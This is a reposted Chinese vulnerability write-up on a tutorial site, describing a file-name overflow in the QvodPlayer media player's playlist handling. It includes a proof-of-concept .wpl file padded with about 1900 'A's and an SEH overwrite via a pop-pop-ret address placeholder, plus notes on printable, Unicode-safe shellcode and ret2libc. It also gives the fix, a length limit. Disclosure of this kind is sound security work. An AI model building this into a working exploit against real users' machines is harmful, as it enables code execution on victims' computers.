网站地图    收藏   

主页 > 后端 > 网站安全 >

快播播放器播放列表文件溢出 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出版本:?wpl version=1.0?smil head meta name=Generator content=Nothing is true/ titletest/title......

处理播放列表文件之后,在某处再次引用文件名没有限制长度而导致溢出
 
版本:
 
 
<?wpl version="1.0"?>
<smil>
    <head>
        <meta name="Generator" content="Nothing is true"/>
        <title>test</title>
    </head>
    <body>
        <seq>
              <media src="AAA......AAAACRAAAAAAAAAA.wma"/>
        </seq>
    </body>
</smil>
 
CR之前一共有1900个'A',CR是MultiByteToWideChar之后pop pop ret的地址,将上述代码保存为xxx.wpl
 
在处理wpl文件之后,在播放列表中显示
 
当鼠标滑过播放列表中的文件名时,将导致溢出
 
 
通过覆盖异常,可以跳转到
 
然后由于复制内容超出堆栈段的最大地址空间而导致异常,跳到
 

 
要想成功利用该漏洞,shellcode必须是可打印字符,然后还经过unicode转换之后还必须能使用,最后该堆栈段,还不能执行,ret2lib把。。。。
 
修复方案:
长度限制

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论